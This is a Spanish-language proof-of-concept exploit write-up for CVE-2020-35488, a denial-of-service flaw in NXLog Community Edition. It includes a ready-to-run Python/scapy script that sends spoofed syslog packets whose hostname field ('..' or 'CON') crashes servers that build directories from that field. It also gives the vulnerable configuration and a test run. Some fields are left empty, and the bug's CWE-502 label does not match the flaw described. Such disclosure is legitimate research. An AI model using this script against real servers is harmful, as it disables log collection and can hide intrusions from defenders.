
Exploit de prueba de concepto para CVE-2020-35488, una vulnerabilidad de denegación de servicio en NXLOG Community Edition mediante cargas útiles syslog manipuladas que causan fallos en la creación de directorios.
He encontrado una vulnerabilidad en el producto: nxlog-ce_2.10.2150. He probado mi PoC solo en Linux (Debian 10) y Windows (Windows Server 2016).
Alcance : NXLOG Community Edition 2.10.2150
Tipo de bug : CWE-502, Deserialización de datos no confiables https://cwe.mitre.org/data/definitions/502.html
Parte vulnerable : Payload de Syslog
Payload :
MI CÁLCULO CVSS :
Vector de ataque : Red Privilegios requeridos : Ninguno Alcance : Sin cambios Integridad : Ninguna Complejidad de ataque : Baja Interacción del usuario : Ninguna Confidencialidad : Ninguna Disponibilidad : Alta
PUNTUACIÓN CVSS : 7.5
GRAVEDAD : ALTA
CÁLCULO CVSS DE NIST : Enlace : https://nvd.nist.gov/vuln/detail/CVE-2020-35488
Vector de ataque :
Privilegios requeridos :
Alcance :
Integridad :
Complejidad de ataque :
Interacción del usuario :
Confidencialidad :
Disponibilidad :
PUNTUACIÓN CVSS (3.X) : 7.5
GRAVEDAD : ALTA
Esta vulnerabilidad puede provocar un DoS del servidor NXLOG.
Pero el servidor necesita una configuración específica: el archivo de configuración de nxlog debe definir la creación de un directorio a partir de un campo de una parte del payload de Syslog.
Campo de Syslog: https://nxlog.co/documentation/nxlog-user-guide/xm_syslog.html#xm_syslog_fields
El software intenta crear un directorio, pero el nombre de este directorio no puede crearse en el sistema de archivos.
Debido a que el nombre de este directorio está prohibido.
Aquí hay un ejemplo de un nombre de directorio imposible de crear :
Entonces, si el archivo de configuración está definido para crear un directorio con el payload de Syslog, un atacante puede apagar el servicio Nxlog.
Para explotar esta vulnerabilidad he creado un script en Python :
#!/usr/bin/python3
# coding: utf8
# Nooooooooooo I'm not a script kiddie I hack syslog :D
# g0 h4ck SYSLOG
# Made by 123soleil with <3
import sys
import time
import argparse
from scapy.all import *
def getPayload(args):
# IF UNIX
if (args.OS == 1):
return "Sep 14 14:09:09 .. dhcp service[warning] 110 Silence is golden"
# IF WINDOWS
elif (args.OS == 2):
return "Sep 14 14:09:09 CON dhcp service[warning] 110 Silence is golden"
# Test
elif (args.OS == 3):
return "Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden"
def runExploit(args,payload):
priority = 30
message = payload
syslog = IP(src="192.168.1.10",dst=args.IP)/UDP(sport=666,dport=args.PORT)/Raw(load="<" + str(priority) + ">" + message)
send(syslog,verbose=args.DEBUG)
def getArguments():
parser = argparse.ArgumentParser(description="Go h@ck SYSLOG")
parser.add_argument("-ip", "-IP", dest="IP", type=str, metavar="IP destination", required=True,default=1, help="IP of NXLOG server")
parser.add_argument("-p", "-P", dest="PORT", type=int, metavar="Port destination", required=False,default=514, help="Port of NXLOG default 514")
parser.add_argument("-os", "-OS", dest="OS", type=int, metavar="OS", default=1, required=True, help="1 : For unix payload \n 2 : For Windows Paylaod \n 3 : Just for test")
parser.add_argument("-d", "-D", dest="DEBUG", type=int, metavar="DEBUG", default=0, required=False, help="1 : Debbug enable")
return parser.parse_args()
def main():
args = getArguments()
payload = getPayload(args)
runExploit(args,payload)
main()
Instalar el servicio Nxlog en Debian 10 :
apt-get install libapr1 libdbi1 libssl1.1 multiarch-support
cd /tmp
wget http://ftp.de.debian.org/debian/pool/main/p/perl/libperl5.24_5.24.1-3+deb9u7_amd64.deb
wget http://security.debian.org/debian-security/pool/updates/main/o/openssl1.0/libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/g/glibc/libc-bin_2.28-10_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/m/man-db/man-db_2.8.5-2_amd64.deb
wget http://ftp.de.debian.org/debian/pool/main/p/perl/perl-modules-5.24_5.24.1-3+deb9u7_all.deb
wget http://cz.archive.ubuntu.com/ubuntu/pool/main/g/gdbm/libgdbm3_1.8.3-13.1_amd64.deb
wget https://nxlog.co/system/files/products/files/348/nxlog-ce_2.10.2150_debian_stretch_amd64.deb
dpkg -i libc-bin_2.28-10_amd64.deb
dpkg -i libgdbm3_1.8.3-13.1_amd64.deb
dpkg -i perl-modules-5.24_5.24.1-3+deb9u7_all.deb
dpkg -i libperl5.24_5.24.1-3+deb9u7_amd64.deb
dpkg -i libssl1.0.2_1.0.2u-1~deb9u2_amd64.deb
dpkg -i man-db_2.8.5-2_amd64.deb
dpkg -i nxlog-ce_2.10.2150_debian_stretch_amd64.deb
Archivo de configuración del servicio nxlog :
cat /etc/nxlog/nxlog.conf
########################################
# Global directives #
########################################
User nxlog
Group nxlog
LogFile /var/log/nxlog/nxlog.log
########################################
# Modules #
########################################
<Extension _syslog>
Module xm_syslog
</Extension>
<Extension _exec>
Module xm_exec
</Extension>
<Extension _fileop>
Module xm_fileop
</Extension>
<Input udp>
Module im_udp
Host 0.0.0.0
Port 514
Exec parse_syslog_bsd();
</Input>
<Output file>
Module om_file
CreateDir True
File "/var/log/nxlog/"+ $Hostname +"/"+ $Hostname +".log"
</Output>
########################################
# Routes #
########################################
<Route syslog_to_file>
Path udp => file
Priority 1
</Route>
Iniciar el servicio Nxlog :
systemctl start nxlog
systemctl status nxlog
Resultado :
● nxlog.service - LSB: logging daemon
Loaded: loaded (/etc/init.d/nxlog; generated)
Active: active (running) since Sun 2020-11-29 17:58:48 CET; 3min 1s ago
Docs: man:systemd-sysv-generator(8)
Tasks: 7 (limit: 2330)
Memory: 1.7M
CGroup: /system.slice/nxlog.service
└─1323 /usr/bin/nxlog
nov. 29 17:58:47 DEB-TEST systemd[1]: Starting LSB: logging daemon...
nov. 29 17:58:48 DEB-TEST nxlog[1312]: Starting nxlog daemon...nxlog started!
nov. 29 17:58:48 DEB-TEST nxlog[1312]: .
nov. 29 17:58:48 DEB-TEST systemd[1]: Started LSB: logging daemon.
Comprobar :
lsof -i :514
Resultado :
nxlog 1323 nxlog 18u IPv4 21321 0t0 UDP localhost:syslog
nxlog 1323 nxlog 19u IPv4 21324 0t0 TCP localhost:shell (LISTEN)
¡Ok, genial!
Con mi script de Python, puedo enviar un mensaje Syslog para probar si el servicio Nxlog crea un directorio.
El nombre del directorio se basa en el campo HOSTNAME del payload de Syslog. (Ver archivo de configuración)
Entonces :
./syslog-exploit.py -ip 192.168.1.55 -os 3
La tercera opción especifica el hostname 123soleil en el payload de Syslog.
Entonces :
ls /var/log/nxlog
123soleil nxlog.log
cat /var/log/nxlog/123soleil/123soleil.log
<30>Sep 14 14:09:09 123soleil dhcp service[warning] 110 Silence is golden